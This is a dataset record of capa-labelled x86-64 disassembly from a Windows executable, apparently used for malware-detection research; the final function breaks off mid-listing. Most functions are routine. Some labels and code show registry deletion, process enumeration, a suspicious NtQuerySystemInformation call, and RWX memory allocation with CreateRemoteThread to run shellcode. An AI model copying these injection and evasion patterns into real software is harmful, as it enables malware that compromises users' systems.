joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff787129670
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x7ff787129739
cmp byte [rcx + 0x71], 0
je 0x7ff787129739
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x68], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x7ff78712972c
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.msvcp140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x7ff7871296e8
sub eax, 1
je 0x7ff7871296ec
cmp eax, 2
jne 0x7ff78712972c
mov rdi, qword [rsp + 0x68]
mov al, 1
mov byte [rbx + 0x71], 0
add rsp, 0x50
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x7ff78712971a
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call qword [sym.imp.ucrtbase.dll_fwrite]
cmp rdi, rax
jne 0x7ff78712972c
cmp byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x68]
sete al
add rsp, 0x50
pop rbx
ret
mov rdi, qword [rsp + 0x68]
xor al, al
add rsp, 0x50
pop rbx
ret
mov al, 1
add rsp, 0x50
pop rbx
ret

Function at 0x7ff78712c570
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rsi, rdx
mov rdi, rcx
xor r8d, r8d
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x7ff78712c671
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x7ff78712c671
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r8
mov ecx, dword [rax + rdx + 0xb0]
test ecx, ecx
jne 0x7ff78712c5d5
mov qword [rdi], r8
mov qword [rdi + 8], r8
mov qword [rdi + 0x10], r8
jmp 0x7ff78712c67c
lea rbx, [rdx + rcx]
mov ebp, dword [rax + rdx + 0xb4]
add rbp, rbx
mov rcx, qword [rsp + 0x30]
cmp rbx, rbp
jae 0x7ff78712c65f
nop dword [rax]
mov edx, dword [rbx + 4]
test edx, edx
je 0x7ff78712c65f
mov eax, dword [rbx]
add rax, rsi
mov qword [rsp + 0x40], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x48], rax
lea rax, [rdx - 8]
shr rax, 1
mov dword [rsp + 0x50], eax
cmp rcx, r8
je 0x7ff78712c638
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm1
add rcx, 0x18
mov qword [rsp + 0x30], rcx
jmp 0x7ff78712c654
lea r8, [rsp + 0x40]
mov rdx, rcx
lea rcx, [rsp + 0x28]
call fcn.7ff78712cb60
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov eax, dword [rbx + 4]
add rbx, rax
cmp rbx, rbp
jb 0x7ff78712c5f0
mov rax, qword [rsp + 0x28]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], r8
jmp 0x7ff78712c67c
mov qword [rcx], r8
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r8
mov rax, rdi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x7ff78712c6a0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 8], rcx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov r12, rdx
mov rdx, rcx
xor r8d, r8d
mov eax, 0x5a4d
cmp word [r12], ax
jne 0x7ff78712c8c2
movsxd rax, dword [r12 + 0x3c]
cmp dword [rax + r12], 0x4550
jne 0x7ff78712c8c2
mov ecx, dword [rax + r12 + 0x90]
test ecx, ecx
jne 0x7ff78712c711
mov qword [rdx], r8
mov qword [rdx + 8], r8
mov qword [rdx + 0x10], r8
jmp 0x7ff78712c8cd
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x49], xmm0
mov rbx, r8
mov qword [rbp - 0x39], rbx
lea r13, [r12 + rcx]
mov r14, qword [rbp - 0x41]
cmp dword [r13 + 0x10], 0
je 0x7ff78712c8b1
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
mov qword [rbp + 7], r8
mov qword [rbp + 0xf], 0xf
mov byte [rbp - 9], 0
movdqu xmmword [rbp + 0x17], xmm0
mov r15, r8
mov qword [rbp + 0x27], r8
mov edx, dword [r13 + 0xc]
add rdx, r12
movups xmmword [rbp - 0x31], xmm0
mov qword [rbp - 0x21], r8
mov qword [rbp - 0x19], r8
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x7ff78712c770
lea rcx, [rbp - 0x31]
call fcn.7ff78711dbf0
movups xmm0, xmmword [rbp - 0x31]
movups xmmword [rbp - 9], xmm0
movups xmm1, xmmword [rbp - 0x21]
movups xmmword [rbp + 7], xmm1
mov esi, dword [r13 + 0x10]
add rsi, r12
mov edi, dword [r13]
add rdi, r12
mov rax, qword [rdi]
test rax, rax
je 0x7ff78712c853
mov rbx, qword [rbp + 0x1f]
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
mov qword [rbp - 0x21], 0
mov qword [rbp - 0x19], 0xf
mov byte [rbp - 0x31], 0
lea rdx, [r12 + 2]
add rdx, rax
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x7ff78712c7e0
lea rcx, [rbp - 0x31]
call fcn.7ff78711ee50
mov qword [rbp - 0x11], rsi
cmp rbx, r15
je 0x7ff78712c81a
lea rdx, [rbp - 0x31]
mov rcx, rbx
call fcn.7ff78711ead0
mov rax, qword [rbp - 0x11]
mov qword [rbx + 0x20], rax
add rbx, 0x28
mov qword [rbp + 0x1f], rbx
jmp 0x7ff78712c832
lea r8, [rbp - 0x31]
mov rdx, rbx
lea rcx, [rbp + 0x17]
call fcn.7ff78712cd80
mov r15, qword [rbp + 0x27]
mov rbx, qword [rbp + 0x1f]
add rdi, 8
add rsi, 8
lea rcx, [rbp - 0x31]
call fcn.7ff78711d510
mov rax, qword [rdi]
test rax, rax
jne 0x7ff78712c7b1
mov rbx, qword [rbp - 0x39]
cmp r14, rbx
je 0x7ff78712c86e
lea rdx, [rbp - 9]
mov rcx, r14
call fcn.7ff78712d1d0
add r14, 0x38
mov qword [rbp - 0x41], r14
jmp 0x7ff78712c886
lea r8, [rbp - 9]
mov rdx, r14
lea rcx, [rbp - 0x49]
call fcn.7ff78712c920
mov r14, qword [rbp - 0x41]
mov rbx, qword [rbp - 0x39]
add r13, 0x14
lea rcx, [rbp + 0x17]
call fcn.7ff78712c420
lea rcx, [rbp - 9]
call fcn.7ff78711d510
cmp dword [r13 + 0x10], 0
mov r8d, 0
jne 0x7ff78712c733
mov rdx, qword [rbp + 0x67]
mov rax, qword [rbp - 0x49]
mov qword [rdx], rax
mov qword [rdx + 8], r14
mov qword [rdx + 0x10], rbx
jmp 0x7ff78712c8cd
mov qword [rcx], r8
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r8
mov rax, rdx
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x7ff78712d5b0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rbx, rcx
lea rcx, [0x7ff7874392c0]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x7ff78712d753
mov rcx, qword [rbx + 0x10]
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
sub rax, rcx
cmp rax, 0x34
jb 0x7ff78712d76e
mov rax, rbx
cmp qword [rbx + 0x18], 7
jbe 0x7ff78712d609
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x34
lea r9, [0x7ff787439250]
mov r8, rbx
movzx edx, byte [rsp + 0xa8]
lea rcx, [rsp + 0x70]
call fcn.7ff78712b710
nop
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rcx, qword [rbx + 0x10]
sub rdi, rcx
cmp rdi, 0x22
jb 0x7ff78712d768
mov rax, rbx
cmp qword [rbx + 0x18], 7
jbe 0x7ff78712d676
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, [0x7ff7874392e0]
mov r8, rbx
movzx edx, byte [rsp + 0xa8]
lea rcx, [rsp + 0x50]
call fcn.7ff78712b710
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
lea r8, [rsp + 0xa8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyW]
test eax, eax
je 0x7ff78712d6d8
cmp eax, 2
sete bl
jmp 0x7ff78712d73b
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.advapi32.dll_RegCloseKey]
lea rdx, [0x7ff7874392d0]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
lea rcx, [rsp + 0x40]
call rax
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
test eax, eax
je 0x7ff78712d723
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
call qword [sym.imp.advapi32.dll_RegDeleteKeyW]
xor bl, bl
jmp 0x7ff78712d73b
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
call qword [sym.imp.advapi32.dll_RegDeleteKeyW]
test eax, eax
jne 0x7ff78712d71f
mov bl, 1
lea rcx, [rsp + 0x50]
call fcn.7ff787129950
nop
lea rcx, [rsp + 0x70]
call fcn.7ff787129950
movzx eax, bl
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.7ff78711d960
nop
call fcn.7ff78711d960
int3
Function at 0x7ff78712d780
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x240
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x20a
xor edi, edi
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x30]
mov ecx, 0x105
call qword [sym.imp.kernel32.dll_GetTempPathW]
dec eax
cmp eax, 0x104
ja 0x7ff78712d811
mov r8, 0xffffffffffffffff
lea rcx, [rsp + 0x30]
mov rax, r8
nop dword [rax]
cmp word [rcx + rax*2 + 2], di
lea rax, [rax + 1]
jne 0x7ff78712d7d0
cmp word [rsp + rax*2 + 0x2e], 0x5c
jne 0x7ff78712d7e8
mov word [rsp + rax*2 + 0x2e], di
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], di
jne 0x7ff78712d800
lea rdx, [rsp + 0x30]
jmp 0x7ff78712d829
xorps xmm0, xmm0
lea rdx, [0x7ff787439440]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
xor r8d, r8d
mov qword [rbx + 0x18], rdi
mov rcx, rbx
call fcn.7ff78712b390
mov rax, rbx
mov rbx, qword [rsp + 0x250]
add rsp, 0x240
pop rdi
ret
Function at 0x7ff78712d9d0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x40
xor edx, edx
lea r9, [rsp + 0x68]
mov rsi, rcx
xor r14d, r14d
xor r8d, r8d
mov dword [rsp + 0x68], r14d
mov ebx, r14d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x7ff78712da4f
test rbx, rbx
je 0x7ff78712da17
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.kernel32.dll_VirtualFree]
mov edx, dword [rsp + 0x68]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x68]
lea r9, [rsp + 0x68]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x7ff78712da01
test eax, eax
jns 0x7ff78712da74
test rbx, rbx
je 0x7ff78712da79
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.kernel32.dll_VirtualFree]
xor eax, eax
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret
test rbx, rbx
jne 0x7ff78712da84
xor eax, eax
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x70], rdi
mov edi, r14d
cmp dword [rbx], r14d
jbe 0x7ff78712db53
nop word [rax + rax]
mov eax, edi
xorps xmm0, xmm0
imul rcx, rax, 0x128
movups xmmword [rsp + 0x20], xmm0
movzx edx, word [rcx + rbx + 0x2e]
lea rbp, [rcx + rbx]
add rdx, 0x30
mov qword [rsp + 0x30], r14
add rdx, rcx
mov qword [rsp + 0x38], r14
add rdx, rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x7ff78712dad5
lea rcx, [rsp + 0x20]
call fcn.7ff78711dbf0
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x7ff78712daf5
mov rdx, qword [rsi]
cmp qword [rsp + 0x38], 0xf
lea rcx, [rsp + 0x20]
cmova rcx, qword [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strcmpi]
test eax, eax
je 0x7ff78712db79
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x7ff78712db49
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff78712db44
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff78712dbc2
call fcn.7ff78718e8e8
inc edi
cmp edi, dword [rbx]
jb 0x7ff78712daa0
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.kernel32.dll_VirtualFree]
xor eax, eax
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret
mov rdi, qword [rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.kernel32.dll_VirtualFree]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x7ff78712dbce
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff78712dbc9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff78712dbc9
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff78718e8e8
mov rax, rdi
jmp 0x7ff78712db66
Function at 0x7ff78712e530
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rbx, rax
call qword [sym.imp.kernel32.dll_Process32First]
test eax, eax
je 0x7ff78712e594
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.kernel32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x7ff78712e5b0
lea rdx, [rsp + 0x20]
call qword [sym.imp.kernel32.dll_Process32Next]
test eax, eax
jne 0x7ff78712e570
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret

Function at 0x7ff78712ea20
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rbx, rax
call qword [sym.imp.kernel32.dll_Process32First]
test eax, eax
je 0x7ff78712ea94
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_Process32Next]
test eax, eax
je 0x7ff78712ea94
nop word [rax + rax]
lea rdx, [rsp + 0x4c]
mov rcx, rdi
call qword [sym.imp.ntdll.dll__strcmpi]
mov rcx, rbx
test eax, eax
je 0x7ff78712eab0
lea rdx, [rsp + 0x20]
call qword [sym.imp.kernel32.dll_Process32Next]
test eax, eax
jne 0x7ff78712ea70
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret

Function at 0x7ff78712eb00
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x90
mov qword [r11 - 0x48], 1
xor eax, eax
xor r8d, r8d
xorps xmm0, xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm0
mov qword [r11 - 0x18], rax
lea rax, [0x7ff787439660]
mov dword [rsp + 0x20], 0x70
mov dword [rsp + 0x24], 0x40
mov qword [r11 - 0x68], rax
lea rax, [0x7ff787433012]
mov qword [r11 - 0x60], rcx
lea rcx, [r11 - 0x78]
mov qword [r11 - 0x50], rax
mov qword [r11 - 0x70], r8
mov qword [r11 - 0x58], rdx
mov qword [r11 - 0x40], r8
mov qword [r11 - 0x10], r8
call qword [sym.imp.shell32.dll_ShellExecuteExA]
mov ebx, eax
test eax, eax
je 0x7ff78712eb83
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x90
pop rbx
ret
Function at 0x7ff78712eb90
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x90
xor eax, eax
xor r8d, r8d
mov qword [r11 - 0x48], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm0
mov qword [r11 - 0x18], rax
lea rax, [0x7ff787439690]
mov dword [rsp + 0x20], 0x70
mov dword [rsp + 0x24], 0x40
mov qword [r11 - 0x68], rax
lea rax, [0x7ff787433013]
mov qword [r11 - 0x60], rcx
lea rcx, [r11 - 0x78]
mov qword [r11 - 0x50], rax
mov qword [r11 - 0x70], r8
mov qword [r11 - 0x58], rdx
mov qword [r11 - 0x40], r8
mov qword [r11 - 0x10], r8
call qword [sym.imp.shell32.dll_ShellExecuteExA]
mov ebx, eax
test eax, eax
je 0x7ff78712ec22
mov rcx, qword [rsp + 0x88]
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x90
pop rbx
ret
Function at 0x7ff7871492d0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
cmp qword [0x7ff7874d3188], 0xf
lea rax, [rsp + 0x60]
mov rdi, rdx
mov qword [rsp + 0x20], rax
mov rsi, rcx
lea rbx, [0x7ff7874d3170]
cmova rbx, qword [0x7ff7874d3170]
mov r9d, 0xf003f
mov rdx, rbx
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x7ff787149361
xor edx, edx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rdx
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rdx
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edx
mov rdx, rbx
call qword [sym.imp.advapi32.dll_RegCreateKeyExA]
cmp qword [rdi + 0x18], 0xf
mov rax, rdi
mov rbp, qword [rsp + 0x60]
mov ecx, dword [rdi + 0x10]
jbe 0x7ff787149376
mov rax, qword [rdi]
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x7ff787149383
mov rdx, qword [rsi]
mov dword [rsp + 0x28], ecx
mov r9d, 1
mov rcx, rbp
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov rcx, rbp
mov ebx, eax
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rcx, rsi
call fcn.7ff78711d510
mov rcx, rdi
call fcn.7ff78711d510
mov rbp, qword [rsp + 0x70]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret

Function at 0x7ff7871493d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
cmp qword [0x7ff7874d3188], 0xf
mov rbp, rdx
mov dword [rax + 0x18], 1
mov rdi, rcx
mov dword [rax + 8], 0xff
lea rax, [rax + 0x20]
lea rbx, [0x7ff7874d3170]
mov qword [rsp + 0x20], rax
cmova rbx, qword [0x7ff7874d3170]
mov r9d, 0xf003f
mov rdx, rbx
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x7ff78714946b
xor edx, edx
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], rdx
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rdx
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edx
mov rdx, rbx
call qword [sym.imp.advapi32.dll_RegCreateKeyExA]
cmp qword [rdi + 0x18], 0xf
mov r8, rdi
mov rsi, qword [rsp + 0x88]
jbe 0x7ff787149480
mov r8, qword [rdi]
xor edx, edx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov rcx, rsi
lea rax, [rsp + 0x80]
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rax
lea r9d, [rdx + 2]
call qword [sym.imp.advapi32.dll_RegGetValueA]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rcx, rdi
call fcn.7ff78711d510
mov eax, ebx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x7ff7871494d0
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x420
mov r8d, 0x400
lea rdx, [rsp + 0x20]
lea rcx, [0x7ff787447760]
call qword [sym.imp.kernel32.dll_ExpandEnvironmentStringsA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.kernel32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x7ff787149522
lea rdx, [0x7ff787447790]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
jne 0x7ff78714952d
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeLibrary]
mov al, 1
add rsp, 0x420
pop rbx
ret
lea rcx, [rsp + 0x430]
call rax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeLibrary]
cmp dword [rsp + 0x430], 0
sete al
add rsp, 0x420
pop rbx
ret
Function at 0x7ff787149da0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r8
push rdi
sub rsp, 0x50
mov r9b, 0x77
mov byte [rsp + 0x40], 0x1b
mov r8b, 0x7f
mov rbp, rcx
movzx r10d, r9b
movzx ebx, r8b
movzx edi, r9b
movzx esi, r9b
xor ecx, ecx
mov al, 0x75
mov dl, 0x6f
mov byte [rsp + 0x4a], cl
mov r11b, 0x35
lea rcx, [rsp + 0x41]
xor r10b, 0x1b
xor al, 0x1b
xor dl, 0x1b
mov byte [rsp + 0x45], r10b
xor r8b, 0x1b
mov byte [rsp + 0x41], al
xor r9b, 0x1b
mov byte [rsp + 0x42], dl
xor r11b, 0x1b
mov byte [rsp + 0x43], r8b
xor bl, 0x1b
mov byte [rsp + 0x44], r9b
xor dil, 0x1b
mov byte [rsp + 0x47], bl
xor sil, 0x1b
mov byte [rsp + 0x48], dil
mov byte [rsp + 0x49], sil
mov byte [rsp + 0x46], r11b
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
je 0x7ff787149f2a
mov rcx, rax
call fcn.7ff787149cd0
mov ebx, eax
add rbx, 0xfffffffffffffc00
add rbx, r9
je 0x7ff787149f2a
lea r9, [rsp + 0x70]
mov edx, 0x100
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.kernel32.dll_VirtualProtect]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.kernel32.dll_VirtualAlloc]
xor esi, esi
lea rdx, [0x7ff787149d80]
mov rdi, rax
mov rcx, rbx
mov qword [rax], rbp
lea r8d, [rsi + 2]
mov qword [rax + 8], rsi
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub r8, 1
jne 0x7ff787149eb0
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov qword [rsp + 0x30], rsi
mov r9, rbx
mov rcx, rax
mov dword [rsp + 0x28], esi
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateRemoteThread]
jmp 0x7ff787149f2c
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x7ff78714d6c0
Capabilities:
Get disk information

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x80
xor eax, eax
mov dword [rsp + 0x38], 0xa
mov qword [r11 - 0x58], rax
lea r9, [r11 + 0x10]
mov rbx, rcx
mov qword [r11 - 0x60], rax
xor edx, edx
mov qword [r11 - 0x68], rax
lea r8d, [rax + 0xc]
lea rcx, [0x7ff787448214]
call qword [sym.imp.kernel32.dll_GetVolumeInformationA]
mov ecx, dword [rsp + 0x98]
lea rdx, [rsp + 0x40]
mov r9d, 0x10
lea r8d, [r9 + 0x30]
call qword [sym.imp.ntdll.dll__itoa_s]
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x7ff78714d723
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.7ff78711ee50
add rsp, 0x80
pop rbx
ret
Function at 0x7ff78718b340
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
mov rsi, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
call sub.ntdll.dll_memset
mov rcx, rdi
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.kernel32.dll_GetProcessId]
mov edx, eax
mov ecx, 8
